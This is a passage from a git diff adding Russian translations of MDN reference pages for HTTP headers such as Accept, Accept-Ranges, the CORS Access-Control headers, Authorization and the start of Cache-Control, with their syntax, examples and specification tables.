+ <p>Хранилище IANA поддерживает <a class="external" href="http://www.iana.org/assignments/http-parameters">полный список официальных кодировок</a>.</p>
+ </li>
+ <li>Иногда также используются две другие кодировки, <code>bzip</code> и <code>bzip2</code>, но они не входят в стандарт. Они применяют алгоритм, который используются в этих двух UNIX-программах. Стоит учесть, что поддержка первой кодировки прекратилась из-за проблем с лицензированием.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header", "Заголовок ответа")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example
+Accept-Patch: text/example;charset=utf-8
+Accept-Patch: application/merge-patch+json
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<p>Нет</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="syntaxbox notranslate">Accept-Patch: application/example, text/example
+
+Accept-Patch: text/example;charset=utf-8
+
+Accept-Patch: application/merge-patch+json
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("5789", "Accept-Patch", "3.1")}}</td>
+ <td>HTTP PATCH</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Для данного заголовка не важная совместимость браузерами, так как заголовок посылается сервером и спецификация не определяет поведение клиента.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP-метод {{HTTPMethod("PATCH")}}</li>
+ <li>Семантика и контекст {{RFC("7231", "PUT", "4.3.4")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept-ranges/index.html b/files/ru/web/http/заголовки/accept-ranges/index.html
new file mode 100644
index 0000000000..b8f63b9d0e
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept-ranges/index.html
@@ -0,0 +1,72 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Заголовки/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP Заголовок ответа <code><strong>Accept-Ranges</strong></code> -- это маркер, который использует сервер, чтобы уведомить клиента о поддержке "запросов по кускам". Его значение указывает единицу измерения, которая может быть использована для определения диапазона чтения.</p>
+
+<p>При наличии заголовка <code>Accept-Ranges</code>, браузер может попытаться <em>возобновить</em> прерванную загрузку, а не запускать её с самого начала.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Единица измерения диапазона не поддерживается, что эквивалентно отсутствию диапазона и поэтому редко используется, хотя некоторые браузеры, такие как IE9 используют его для отключения или удаления кнопоки паузы у активной загрузке в менеджере загрузок.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>Единицей измерения для диапазона являются байты.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Ranges")}}</p>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/accept/index.html b/files/ru/web/http/заголовки/accept/index.html
new file mode 100644
index 0000000000..69ab96233b
--- /dev/null
+++ b/files/ru/web/http/заголовки/accept/index.html
@@ -0,0 +1,89 @@
+---
+title: Accept
+slug: Web/HTTP/Заголовки/Accept
+tags:
+ - HTTP
+ - Заголовки HTTP
+ - Заголовки запроса HTTP
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP заголовок запроса <strong><code>Accept</code></strong> указывает, какие типы контента, выраженные как <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME типы</a>, клиент может понять. Используя <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a>, сервер затем выбирает одно из предложений, использует его и информирует клиента о своем выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задается другое значение, чем при получении изображения, видео или скрипта.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+ <td>yes, with the additional restriction that values can't contain a <em>CORS-unsafe request header byte</em>: 0x00-0x1F (except 0x09 (HT)), <code>"():&lt;&gt;?@[\]{}</code>, and 0x7F (DEL).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Несколько типов, дополненных синтаксисом {{glossary("quality values", "значений качества")}}:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd>Один точный <a href="/ru/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-тип</a>, например <code>text/html</code>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>MIME тип без какого-либо подтипа. <code>image/*</code> будет соответствовать типам <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> и любым другим типам изображений.</dd>
+ <dt><code>*/*</code></dt>
+ <dd>Любой MIME type</dd>
+ <dt><code>;q=</code> (q-factor weighting)</dt>
+ <dd>Любое используемое значение помещается в порядке приоритета, заданным с использованием относительного <a href="/en-US/docs/Glossary/Quality_values">значения качества</a>, которое называется <em>весом</em>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Характеристика </th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурных данных. Если вы хотели бы внести свой вклад в эти данные, пожалуйста, склонируйте репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull-request.</p>
+
+<p>{{Compat("http.headers.Accept")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTTP <a href="/ru/docs/Web/HTTP/Content_negotiation">согласование контента</a></li>
+ <li>Заголовок с результатами согласования контента: {{HTTPHeader("Content-Type")}}</li>
+ <li>Другие похожие заголовки: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-headers/index.html b/files/ru/web/http/заголовки/access-control-allow-headers/index.html
new file mode 100644
index 0000000000..d392143198
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-headers/index.html
@@ -0,0 +1,93 @@
+---
+title: Access-Control-Allow-Headers
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers
+tags:
+ - CORS
+ - HTTP
+ - Заголовок
+ - Справка
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <strong><code>Access-Control-Allow-Headers</code></strong> используется в ответ на {{glossary("preflight request")}}, чтобы указать, какие заголовки HTTP могут использоваться во время фактического запроса.</p>
+
+<p>The {{glossary("simple header", "simple headers")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (но только с MIME-типом, найденым в этом значении (исключая параметры), либо <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code> или <code>text/plain</code>), всегда доступны и не должны быть перечислены в этом заголовке.</p>
+
+<p>Этот заголовок обязателен, если запрос содержит заголовок {{HTTPHeader("Access-Control-Request-Headers")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Список поддерживаемых заголовков разделенных запятыми.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Access-Control-Allow-Headers: X-Custom-Header</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Начальное определение.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p>
+
+<h2 id="Заметки_по_совместимости">Заметки по совместимости</h2>
+
+<ul>
+ <li>Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах:
+ <ul>
+ <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+ <li>Firefox: {{bug(1309358)}}</li>
+ <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+ <li>WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165508">Issue 165508</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-methods/index.html b/files/ru/web/http/заголовки/access-control-allow-methods/index.html
new file mode 100644
index 0000000000..d3917204bc
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-methods/index.html
@@ -0,0 +1,85 @@
+---
+title: Access-Control-Allow-Methods
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods
+tags:
+ - CORS
+ - HTTP
+ - Заголовки
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Access-Control-Allow-Methods</code></strong> это заголовок ответа, который определяет метод или методы доступа к ресурсам {{glossary("preflight request")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Methods: &lt;method&gt;, &lt;method&gt;, ...
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;method&gt;</dt>
+ <dd>Разделенный запятыми список доступных <a href="/en-US/docs/Web/HTTP/Methods">методов HTTP запросов</a>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Начальное определение</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица сравнения сгенерирована из структурных данных. Если вы хотите внести вклад в данные, пожалйуста, посмотрите эту ссылку и отправьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p>
+
+<h2 id="Замечания_по_совместимости">Замечания по совместимости</h2>
+
+<ul>
+ <li>Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах:
+ <ul>
+ <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+ <li>Firefox: {{bug(1309358)}}</li>
+ <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-allow-origin/index.html b/files/ru/web/http/заголовки/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..5dc5aa2b7c
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-allow-origin/index.html
@@ -0,0 +1,94 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Заголовки/Access-Control-Allow-Origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок ответа <code><strong>Access-Control-Allow-Origin</strong></code> показывает, может ли ответ сервера быть доступен коду, отправляющему запрос с данного источника {{glossary("origin")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origin&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd>Для запросов <em>без учетных данных</em>. Значение "<code>*</code>" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">ошибке</a>.</dd>
+ <dt><code>&lt;origin&gt;</code></dt>
+ <dd>Указывает источник. Может быть указан только один источник.</dd>
+ <dt><code>null</code></dt>
+ <dd>Определяет в качестве источника "null".
+ <div class="note"><strong>Замечание:</strong> <a href="https://w3c.github.io/webappsec-cors-for-developers/#avoid-returning-access-control-allow-origin-null">Не используйте</a> <code>null</code>: "Может показаться, что вернуть <code>Access-Control-Allow-Origin: "null"</code> безопасно, но сериализация Источника любого ресурса, использующего неиерархическую схему (такие как <code>data:</code> или <code>file:</code>), и изолированные документы, определяются как "null". Многие пользовательские агенты предоставляют таким документам доступ к ответу сзаголовком <code>Access-Control-Allow-Origin: "null"</code>, и любой источник модет создать враждебный документ с Источником "null". Поэтому использования заголовка ACAO со значением "null" следует избегать."</div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Ответ, который указывает браузеру разрешить доступ к ресурсу из любого источника:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<p>Ответ, который указывает браузеру разрешить доступ к ресурсу только из источника <code>https://developer.mozilla.org</code>:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>Чтобы ограничить <code>Access-Control-Allow-Origin</code> разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заговока {{HTTPHeader("Origin")}} запроса, спавнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение <code>Access-Control-Allow-Origin</code>, равное значению {{HTTPHeader("Origin")}}.</p>
+
+<h3 id="CORS_и_кэширование">CORS и кэширование</h3>
+
+<p>Если сервер послал ответ со значением <code>Access-Control-Allow-Origin</code>, которое содержит явное указание источника (а не шаблонное значние "<code>*</code>"), тогда ответ также должен включать в себя заголовок {{HTTPHeader("Vary")}} со значением <code>Origin</code> — чтобы указать браузеру, что ответы с сервера могут отличаться в зависимости от заголовка запроса <code>Origin</code>.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификации</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Начальное определение.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li>{{httpheader("Cross-Origin-Resource-Policy")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/access-control-max-age/index.html b/files/ru/web/http/заголовки/access-control-max-age/index.html
new file mode 100644
index 0000000000..0d5d63b8b0
--- /dev/null
+++ b/files/ru/web/http/заголовки/access-control-max-age/index.html
@@ -0,0 +1,69 @@
+---
+title: Access-Control-Max-Age
+slug: Web/HTTP/Заголовки/Access-Control-Max-Age
+translation_of: Web/HTTP/Headers/Access-Control-Max-Age
+---
+<div><code>Заголовок ответа сервера</code><strong><code> Access-Control-Max-Age</code></strong> сообщает браузеру насколько {{glossary("предзапрос")}} (эта информация содержится в заголовках {{HTTPHeader("Access-Control-Allow-Methods")}} и {{HTTPHeader("Access-Control-Allow-Headers")}}) может быть кэширован и опущен при запросах к серверу.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Заголовок ответа")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>&lt;delta-seconds&gt;</dt>
+ <dd>Количество секунд, на которое запрос может быть кэширован.<br>
+ Максимальное значение в Firefox составляет <a href="https://dxr.mozilla.org/mozilla-central/rev/7ae377917236b7e6111146aa9fb4c073c0efc7f4/netwerk/protocol/http/nsCORSListenerProxy.cpp#1131">24 часа</a> (86400 секунд), в Chromium <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?rcl=43ab0ff8fdcf3a10a89c4d0d0421f461967f2bd5&amp;l=36">10 минут</a> (600 секунд). Chromium также определяет значение по-умолчанию <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?rcl=43ab0ff8fdcf3a10a89c4d0d0421f461967f2bd5&amp;l=26">5</a> секунд.<br>
+ Значение <strong>-1</strong> отменяет кэширование, отправляя предзапрос перед каждым запросом.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Кэширование предзапроса на 600 секунд:</p>
+
+<pre>Access-Control-Max-Age: 600 </pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Статус</th>
+ <th scope="col">Комментарий</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#http-access-control-max-age', 'Access-Control-Max-Age')}}</td>
+ <td>{{Spec2("Fetch")}}</td>
+ <td>Начальное определение.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Max-Age")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/authorization/index.html b/files/ru/web/http/заголовки/authorization/index.html
new file mode 100644
index 0000000000..02679e19f1
--- /dev/null
+++ b/files/ru/web/http/заголовки/authorization/index.html
@@ -0,0 +1,91 @@
+---
+title: Authorization
+slug: Web/HTTP/Заголовки/Authorization
+tags:
+ - HTTP
+ - HTTP Заголовок
+ - Заголовок
+ - заголовок запроса
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP запроса <strong><code>Authorization</code></strong> включает в себя данные пользователя для проверки подлинности пользовательского агента с сервером обычно после того, как сервер ответил со статусом {{HTTPStatus("401")}} <code>Unauthorized</code> и заголовком {{HTTPHeader("WWW-Authenticate")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+ <td>Нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Authorization: &lt;тип&gt; &lt;данные пользователя&gt;</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;тип&gt;</dt>
+ <dd><a href="/ru/docs/Web/HTTP/Авторизация#Authentication_schemes">Тип авторизации</a>. Общий тип <a href="/ru/docs/Web/HTTP/Авторизация#Basic_authentication_scheme">«Базовая»</a>. Остальные типы:
+ <ul>
+ <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+ <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;данные пользователя&gt;</dt>
+ <dd>Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом:
+ <ul>
+ <li>Логин и пароль, разделенные двоеточием (<code>aladdin:opensesame</code>).</li>
+ <li>Результирующая строка, закодированная в <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Примечание</strong>: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>См. также <a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизацию</a> для примеров конфигураций веб-серверов Apache или nginx с защитой вашего сайта паролем с Базовой HTTP авторизацией.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+ <td>HTTP/1.1: Authentication</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7617")}}</td>
+ <td>The 'Basic' HTTP Authentication Scheme</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTTP/Authorization">HTTP авторизация</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/cache-control/index.html b/files/ru/web/http/заголовки/cache-control/index.html
new file mode 100644
index 0000000000..4dd0c2de68
--- /dev/null
+++ b/files/ru/web/http/заголовки/cache-control/index.html
@@ -0,0 +1,173 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Заголовки/Cache-Control
+tags:
+ - Кэширование
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Общий заголовок <strong><code>Cache-Control</code></strong> используется для задания инструкций кэширования как для запросов, так и для ответов. Инструкции кэширования однонаправленные: заданная инструкция в запросе не подразумевает, что такая же инструкция будет указана в ответе</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Инструкции не чувствительны к регистру и имеют необязательный аргумент, который может быть указан как в кавычках, так и без них. Несколько инструкций разделяются запятыми.</p>
+
+<h3 id="Инструкции_кэширования_для_запросов">Инструкции кэширования для запросов</h3>
+
+<p>Стандартные инструкции <code>Cache-Control</code>, которые могут задаваться клиентом для HTTP запроса.</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
